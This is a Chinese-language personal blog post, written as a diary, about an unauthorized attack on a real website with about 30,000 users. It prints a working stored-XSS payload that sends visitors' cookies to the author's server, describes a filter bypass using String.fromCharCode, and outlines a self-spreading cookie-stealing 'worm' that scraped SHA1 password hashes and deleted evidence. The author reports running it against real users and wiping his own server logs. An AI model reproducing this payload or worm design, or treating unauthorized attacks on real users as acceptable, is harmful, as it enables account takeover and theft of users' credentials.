寫這篇文,主要想以日記的形式記錄下我在整個測試(gongji)過程中的
心路歷程、所用技術、填的坑等等。。
爲了讓文章顯得不那麼呆板,不那麼流水,我儘量使用一些文藝點的詞彙。
9月份的廣州,一天天總是有雨。
我呆坐在華工圖書館裏,望着窗外灰濛濛的天,溼漉漉的地,還有對面心情略顯陰
沉的小W。
我很清楚她爲什麼心情不好,作業被老師刁難誰會好受呢。
本着一份打抱不平的心,我百度了下老師提到過的一個她有註冊的網站,點擊uri的一瞬間,
一個精緻的頁面展現在我的眼前。
大致的看了一下站點的基本訊息,註冊人數大概有3萬左右,算是個有些規模的網站了,
果斷進入註冊頁面註冊了一個賬號。
那麼接下來是根據PTES標準測試流程的
第一步,開始信息搜尋、收集了;
我默默打開nmap,鍵入域名踏上了這條漫長的Web漏洞分析之路。
首先nmap 掃出來是這樣的:
看到這就明白了,收不收集信息什麼的其實已經是無所謂了,菜菜如我的手中不可能握有apache抑或nginx的0day。
whois,nslookup的返回結果的意義也不是很大。
所以,通過Web對系統進行分析是唯一的出路了:)
所以滲透測試中的每一步都是極其靈活的,要依具體情況具體決定。
想到這裏,讓我們直接進入第二步: 威脅建模
這第二步聽上去比較高大上,實際上即是從第一步獲取的信息中對系統有個
比較詳細的瞭解,從而確定最行之有效的攻擊路線。
對於我的目標站點而言,唯一行之有效的攻擊路線在於利用Web漏洞進行滲透(其他端口沒開嘛= =)
於是,我們進入正題:
漏洞分析
在我們的常規認知中,Web漏洞是服務器軟件自身的漏洞,一個應用軟件自身出問題和整個系統出問題
相比,其影響應當是很小的。然而隨着Web技術的不斷髮展,Web漸漸成爲了服務器上最爲核心的應用,
服務器最有價值的部分不再是昂貴的硬件和所需的人力物力資源,而是上面存儲的用戶數據、應用、以及
大量的用戶。
對於Web漏洞,許多人也認爲,通用的漏洞掃描器、網站防火牆、IDS等可以防禦掉大部分攻擊,因此不必
太在意Web服務上出現的漏洞。 從我自身而言,我比較反感使用自動化的漏洞掃描程序,尋找漏洞,更多
的時候所依靠的是一種感覺,基於技術和經驗的感覺。
於是我開始手動地在網站上面進行測試。登陸了剛剛註冊的賬戶之後,藉着BurpSuite的站點地圖功能,
我開始在各個存在id的地方手工注入測試是否存在Sql注入,找了一圈累的要死還沒有結果。
然後我把注意力轉向找回密碼功能,網站向註冊用戶郵箱發送了帶隨機數生成的idtoken,完美,無解。
緊接着我又把目光投向了遍歷目錄、越權訪問url,文件上傳等,皆無功而返。
疲憊的我幾乎已經要放棄這個對這個網站的滲透了,突然想起來,這幾天不是一直在看XSS麼。
可是XSS又有什麼用,好像除了彈個框,獲取一下cookie信息也無其他了。
但是畢竟也算是漏洞啊。。找找看吧。
如果只能找到反射型神馬的,那就讓我去睡覺吧。
突然,一個頁面引起了我的注意-
站內信這種類似郵箱收發功能的應用,會不會存在XSS神馬的呢?
在正文處,我想盡各種辦法的鍵入都被過濾掉了。
即便從編碼等角度入手,想盡辦法把一個標籤安插進去,都無能爲力。。
就在我要關電腦走人的時候,突發奇想地我把一段JS嵌入到了站內信的主題位置:
這一次,img標籤居然變成了一個帶叉號的圖標,這意味着,我的標籤被頁面嵌入了!
但是alert(/XSS/)被過濾成了Alert(/XSS/)。。
這個過濾也是讓我非常無奈,於是果斷eval(String.fromCharCode(97,xxx)),
緊接着,一個/XSS/字樣的框彈了出來。
問題是,然後呢?
所有的XSS攻擊,都是針對特定的用戶實施的,比如,可能會訪問某個被注入頁面的一些用戶,
這樣所能造成的攻擊效果一定是比較low的,除非這個網站包含什麼敏感信息。
不管怎麼說,現在終於有了一個注入點,我果斷地將代碼修改成:
<img sRc =1 onError = "new Image().src='http://myserver.com/?cookies='+document.cookie">
每當有一個用戶點擊他的信箱時,該js就會被執行。
果斷地在myserver.com用nodejs搭起了一個小接收器,測試了一下,cookie飛過來了。。
這說明,網站沒有對cookie設置Http-Only屬性,讓我的js輕易地獲取到了,那麼下面要做點
事情了。
返回用戶個人信息的頁面,我大致地瀏覽以下,有工作單位,專業,學位之類的信息,但是最下面的
一行內容引起了我的興趣:
F12看一下後臺,SHA1的加密。這基本等同於把明文密碼放到了用戶頁面上,擁有cookie就等於擁有
了密碼???真是天助我也!
不管了,我立刻抄起python寫了一個提取這個頁面密碼的腳本。
提起爬蟲,感覺突然間有了思路:如果爬蟲帶着cookie遍歷一遍整個網站自然沒什麼意義,我隨便註冊一個
用戶也可以;但是如果帶着別人的cookie(即冒充其他用戶)通過站內信以同樣的方式發送XSS腳本給這個人的朋
友,然後爬蟲再帶着這個人朋友的cookie(即冒充他)給他的好友發送同樣的內容,這樣不用很久,除了不使
用站內信的人,基本每個人的信箱裏都有那麼一封信,只要打開信箱,就會發送自己的cookie到我的服務器
同時給他的朋友發送這封信!
這不就是蠕蟲了嗎?(後面的事情的發展證明,菜如我並不知道什麼才叫蠕蟲,爲什麼不用js去寫,而非用myserver上的python腳本呢。。我到現在也不明白自己當時是怎麼想的。)
於是我飛快的引入了requests庫,構建帶cookie爬蟲的基本請求;
引入socket,建立nodejs與python進程的通信管道;
把從nodejs那裏得到的字符串切割分離包裝成字典裝入requests;
構建目標URL表單;
用bs4、正則匹配所有我需要的內容,把內容包裝好放入mongodb或者post數據表單中,
一切都進行地井井有條。
正在我快速完善着這隻僞裝成爬蟲的蠕蟲的時候,一個念頭突然閃過:myserver.com是我的ali雲服務器,
就這麼直接暴露在js代碼裏,那豈不是被人羣起而攻之?可是不用myserver又如何獲取cookie呢?
機智如我想到:如果在拿到cookie的一瞬間,爬蟲就直奔站內信把所有含有我的代碼的信件全部刪除!無論
是收件還是發件,正常人用瀏覽器看頁面一般是不會第一次就查看源代碼的吧,然而他看到我那封站內信
只有一次機會。F5刷新之後,一切都恢復了正常,除了他發給他朋友的信件以及留在我server裏的SHA1過
的密碼。
但是刪除的邏輯並不是那麼容易模仿的,我快速地敲擊着鍵盤,鍵盤發出悠悠的藍光,擡手一看錶,丫的
四點了!
//這隻爬蟲/蠕蟲掛在了Github-WebCralwerOrXSSWorm
打了個哈欠,果斷睡覺了。
第二天下午,又是大雨天。
睡了一上午的我,揉着疲憊的眼睛又坐在了電腦前。再次審視我的爬蟲/蠕蟲,雖然是倉促而成,但也初具規模了,
一想起我那爬蟲作蠕蟲的思路,就覺得自己很機智有木有。的確,只需要給人氣最高的1-2個用戶發送這封內容爲
“老師我想與你探討個問題”的郵件,他們在點擊自己站內信箱的一瞬間,他的所有好友就都得到了同樣的郵件,
最後誰能搞清楚誰是第一個發送的呢?而且這可是神奇的郵件,一被點擊就會消失的郵件。
下午17:29分,攻擊開始。
我最後檢查了一遍爬蟲腳本,將其上傳至myserver.com, 同時配置好了nodejs-server.
我的小爬蟲/蠕蟲會有什麼樣的表現呢?
我用昨天註冊的賬戶登陸了網站,在推薦用戶中選擇了人氣最旺的幾位用戶,就讓他們幫我傳播這封郵件吧!
在發送郵件的同時,我快速切出終端,輸入npm start ; python Listener.py
然後靜靜等待着。
沒錯,郵件已經送達。一個用戶已經開始查看了!我看到一個cookie顯示在python這邊的輸出意味着他已經獲取
到了cookie,下面就開始發送郵件然後刪除信箱內的郵件,再然後,獲取密碼並寫入數據庫。
我雙手托腮,靜靜地看着cookie一個一個跳出來。。。
就在這時,腳本突然中斷了!一個錯誤提示跳出來,指明某變量爲空。緊接着,這隻爬蟲如同
泄了氣的皮球,整個停滯下來。
我。。。怎麼會?腳本輸入的cookie都是固定格式的,因此在處理輸入變量異常等錯誤時我也沒有考慮
太多,難道有人手動get那個腳本?看到nodejs那邊還在繼續運行,我飛速地重啓了兩邊的程序,重新
使他們建立了鏈接。看到cookie又開始在屏幕上出現,我舒了一口氣。
然而沒過多久,同樣的事情又發生了。
nodejs還在接受cookie,然而python腳本已經死掉了!
我想,這下完了。很多郵件已經發送到了victim的朋友的郵箱裏,然而爬蟲/蠕蟲陣亡了,誰去處理
並刪除那些郵件?
我又一次飛速地重啓了兩邊的腳本,結果這次nodejs和python都在空轉,接收不到值了。
我呆滯地坐在屏幕前,開始不着邊際地想,是被對面有高手反黑了嗎額?我的myserver.com還安全嗎?
我的實驗室還安全麼?會不會馬上就有人來送快遞了丫的。
愣了幾秒後,我快速關閉了兩邊的腳本,刪除了服務器上的日誌,灰溜溜地下了線。
一看錶,時間是18:20,距離攻擊開始過去了大概50分鐘。
我又重新連回myserver.com,看了下mongodb裏面的情況,的確拿到了一些cookie,然而,不多。
我從裏面挑選了一個研究生的hash密碼,放到網上,秒解。小寫字母+數字,6位。登陸了他的站內信,
我驚奇地發現他的站內信裏面有大量的主題是一幅壞掉圖片的郵件!!我快速F12下進去看了源碼,
不是我的js代碼。
我一下明白了,他很可能是網站管理員,並且已經發現了這次攻擊的具體情況!
不得不說,反應夠快,才50分鐘而已,一切都在他的掌控之中了。
我在他站內信裏留了一封郵件,闡明瞭我測試的目的和我發現的漏洞,以及我的qq。
幾分鐘之後,他加了我,我們聊了聊。他告訴我,他們網站的IDS發現了你的服務器的異常行爲。
我這才明白過來,是爬蟲訪問頻率過高,導致我的行爲被IDS偵測到了!
我當初爲什麼要用python寫這個爬蟲啊!這根本不是什麼蠕蟲,就是個不停拿各種cookie在發送
請求的爬蟲。。。
回想過來,我這次攻擊的最大缺點是,相當於把所有流量都重定向到了myserver.com,不僅加大了
被發現的概率,同時也提升了利用漏洞的難度。
其次,腳本的容錯性太差,試想一個要publish的軟件,能動不動就趴窩麼?
再有,隱蔽性不夠好,雖然利用了學校裏其他位置的主機和服務器,但不還是在學校裏麼。。
優點在於,拿爬蟲當蠕蟲這個思路比較新穎把。。。如果算的話。。
我誠懇地道了歉,並且詳細地說明了漏洞的情況,對方也很慷慨地原諒了我。
我真的挺感謝這位管理員的,按道理說他完全有理由給我送快遞。。
而且他對攻擊的反應速度,證明了他業務的熟練能力。
雨剛過的路上還是溼的,我默默地走在去飯堂的路上。周圍喧鬧的人羣中,我低下頭,發現了一隻超級大的蝸牛。
他好像很艱難地在人羣中爬着,周圍人似乎都沒有看到他。
我默默撿起這隻巨大的蝸牛,把他放到了花壇邊。